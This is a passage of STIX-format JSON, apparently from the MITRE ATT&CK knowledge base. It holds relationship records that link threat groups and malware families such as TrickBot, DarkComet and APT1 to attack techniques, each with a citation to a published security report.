                    "source_name": "Novetta Blockbuster RATs"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.658Z",
            "created": "2017-05-31T21:33:27.069Z"
        },
        {
            "id": "relationship--b03f71ab-d254-49b7-954d-46c76befb525",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses a dropper called MaoCheng that harvests a stolen digital signature from Adobe Systems.(Citation: McAfee Honeybee)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.647Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--baa9bb45-b4d2-4eea-803f-d2d1126330d4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68",
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "description": "(Citation: FireEye APT37 Feb 2018)",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.990Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--647032ac-0432-4785-9d50-06b9970bcbcb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-03-20T19:03:04.461Z",
            "created": "2017-05-31T21:33:27.027Z"
        },
        {
            "id": "relationship--3de749e5-353a-4bdc-8951-9e0fa387bc70",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-20T18:03:40.150Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4a687e50-e6b7-41df-93b1-6fed7db10f60",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "(Citation: Mandiant APT1)",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.540Z",
            "created": "2017-05-31T21:33:27.036Z"
        },
        {
            "id": "relationship--63841959-afe2-4cb0-a93e-d407eb1b8d66",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
            "external_references": [
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
                }
            ],
            "description": "(Citation: XAgentOSX 2017)(Citation: Sofacy Komplex Trojan)",
            "type": "relationship",
            "modified": "2019-09-09T17:44:36.195Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--cbc4c186-028e-4a24-93ff-5f2bb7edd98a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pisloader](https://attack.mitre.org/software/S0124) obfuscates files by splitting strings into smaller sub-strings and including \"garbage\" strings that are never used. The malware also uses return-oriented programming (ROP) technique and single-byte XOR to obfuscate data.(Citation: Palo Alto DNS Requests)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto DNS Requests",
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
                }
            ],
            "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T02:10:14.738Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7ecd1b78-a3f1-4997-be47-68377eb59689",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) collects local files and information from the victim\u2019s local machine.(Citation: S2 Grupo TrickBot June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                }
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-06-24T19:15:06.701Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can launch an interface where it can execute several commands on the victim\u2019s PC.(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--cbbfb291-9c39-4fab-a2ac-c1f076c7c367",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-18T15:41:19.841Z",
            "created": "2019-01-29T17:59:44.427Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Nokki Oct 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/",
                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."
                }
            ],
            "description": "[DOGCALL](https://attack.mitre.org/software/S0213) can capture microphone data from the victim's machine.(Citation: Unit 42 Nokki Oct 2018)",
            "id": "relationship--cdc0bf25-e132-4214-b3e0-c784da6cfbeb",
            "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2020-03-16T16:43:12.206Z",
            "created": "2019-01-29T18:23:46.181Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Riskiq Remcos Jan 2018",
                    "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/",
                    "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) steals and modifies data from the clipboard.(Citation: Riskiq Remcos Jan 2018)",
            "id": "relationship--441ef1f7-79b7-476a-8c1e-943439e65dd1",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2019-04-19T14:39:53.074Z",
            "created": "2019-01-29T18:55:20.800Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "source_name": "Malwarebytes DarkComet March 2018"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) can open an active screen of the victim\u2019s machine and take control of the mouse and keyboard.(Citation: Malwarebytes DarkComet March 2018)",
            "id": "relationship--a1dfbc65-48dc-4218-a10c-906fbe33b6db",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2019-06-04T19:40:43.670Z",
            "created": "2019-01-29T19:18:28.643Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.",
                    "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
                    "source_name": "ESET Carbon Mar 2017"
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) has a command to inject code into a process.(Citation: ESET Carbon Mar 2017)",
            "id": "relationship--b9b2ddad-acb6-4e97-966c-ff18fd36cea3",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T15:34:14.043Z",
            "created": "2019-01-29T19:36:02.845Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PaloAlto NanoCore Feb 2016",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/",
                    "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."
                }
            ],
            "description": "[NanoCore](https://attack.mitre.org/software/S0336)\u2019s plugins were obfuscated with Eazfuscater.NET 3.3.(Citation: PaloAlto NanoCore Feb 2016)",
            "id": "relationship--2f884873-308c-4bee-94bd-90bb2267fea7",
            "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-17T20:47:23.977Z",
            "created": "2019-01-29T20:05:36.450Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 BadPatch Oct 2017",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/",
                    "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."
                }
            ],
            "description": "[BadPatch](https://attack.mitre.org/software/S0337) collects files from the local system that have the following extensions, then prepares them for exfiltration: .xls, .xlsx, .pdf, .mdb, .rar, .zip, .doc, .docx.(Citation: Unit 42 BadPatch Oct 2017)",
            "id": "relationship--dc2b58dd-1052-4860-8e14-5650ab8eecfd",
            "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-04-23T21:17:49.928Z",
            "created": "2019-01-29T21:33:34.658Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Radware Micropsia July 2018",
                    "url": "https://blog.radware.com/security/2018/07/micropsia-malware/",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) has keylogging capabilities.(Citation: Radware Micropsia July 2018)",
            "id": "relationship--15d01a81-5d77-4373-81d0-8962e708ad20",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:14:22.287Z",
            "created": "2019-01-29T21:47:53.736Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "source_name": "Unit42 Xbash Sept 2018"
                },
                {
                    "source_name": "Trend Micro Xbash Sept 2018",
                    "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/new-multi-platform-xbash-packs-obfuscation-ransomware-coinminer-worm-and-botnet",
                    "description": "Trend Micro. (2018, September 19). New Multi-Platform Xbash Packs Obfuscation, Ransomware, Coinminer, Worm and Botnet. Retrieved June 4, 2019."
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) can obtain a list of weak passwords from the C2 server to use for brute forcing as well as attempt to brute force services with open ports.(Citation: Unit42 Xbash Sept 2018)(Citation: Trend Micro Xbash Sept 2018)",
            "id": "relationship--e9de3c2d-1b2e-4c35-a406-475f5f5fd4d5",
            "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119",
            "type": "relationship",
            "modified": "2020-03-29T18:24:47.457Z",
            "created": "2019-01-30T13:28:47.834Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) digitally signs the malware with a code-signing certificate.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--496017cd-f22a-4295-931c-70bb672985f8",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2019-04-17T22:22:22.052Z",
            "created": "2019-01-30T13:53:14.942Z"
        },
        {
            "id": "relationship--fd2f1a44-2ae7-4df0-b53c-42bc96af2da1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Volgmer](https://attack.mitre.org/software/S0180) deobfuscates its strings and APIs once its executed.(Citation: US-CERT Volgmer 2 Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-10-15T22:51:03.068Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ac3ee298-bef0-4a52-9050-3dcef1701408",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FTP](https://attack.mitre.org/software/S0095) may be used to exfiltrate data separate from the main command and control protocol.(Citation: Wikipedia FTP)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Wikipedia FTP",
                    "description": "Wikipedia. (2016, June 15). File Transfer Protocol. Retrieved July 20, 2016.",
                    "url": "https://en.wikipedia.org/wiki/File_Transfer_Protocol"
                }
            ],
            "source_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "type": "relationship",
            "modified": "2020-03-16T18:01:05.829Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3671c28f-927b-40e0-ba75-079c0aafea5b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mosquito](https://attack.mitre.org/software/S0256) uses a custom encryption algorithm, which consists of XOR and a stream that is similar to the Blum Blum Shub algorithm.(Citation: ESET Turla Mosquito Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
            "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T01:55:35.163Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f4182c2a-c2b3-4866-9f7e-f29e0229dead",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) exfiltrates data in compressed chunks if a message is larger than 4096 bytes .(Citation: FireEye CARBANAK June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
            "type": "relationship",
            "modified": "2020-02-11T15:55:06.487Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                }
            ],
            "description": "[WEBC2](https://attack.mitre.org/software/S0109) can download and execute a file.(Citation: Mandiant APT1)",
            "id": "relationship--a33a1a9c-c8d1-45f5-ad29-4a4188e5a54b",
            "source_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-19T21:52:19.997Z",
            "created": "2019-01-30T15:21:42.356Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1 Appendix",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"
                }
            ],
            "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to launch a command shell on the system.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--f638cb6d-d725-444f-93f9-02f49b4d9383",
            "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T19:05:19.011Z",
            "created": "2019-01-30T15:38:21.294Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can log keystrokes.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--458eebea-e73b-4417-9ce0-11417f6b0289",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:27:15.771Z",
            "created": "2019-01-30T16:39:54.206Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                }
            ],
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has created a scheduled task named \"MicrosoftEdge\" to establish persistence.(Citation: ClearSky MuddyWater Nov 2018)",
            "id": "relationship--2ccf654b-1077-4277-9a24-099fb3bf095f",
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "type": "relationship",
            "modified": "2020-03-18T15:36:10.526Z",
            "created": "2019-01-30T17:13:11.828Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/",
                    "source_name": "Securelist Darkhotel Aug 2015"
                },
                {
                    "source_name": "Microsoft DUBNIUM June 2016",
                    "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/",
                    "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021."
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has searched for anti-malware strings and anti-virus processes running on the system.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM June 2016) ",
            "id": "relationship--02052736-4888-47b0-9eb4-4031a4061998",
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2021-04-05T20:52:47.633Z",
            "created": "2019-01-30T17:43:28.226Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used several remote administration tools as persistent infiltration channels.(Citation: McAfee Night Dragon)",
            "id": "relationship--9ffb8d9a-6aee-4bb5-9f1a-0e9c1f643350",
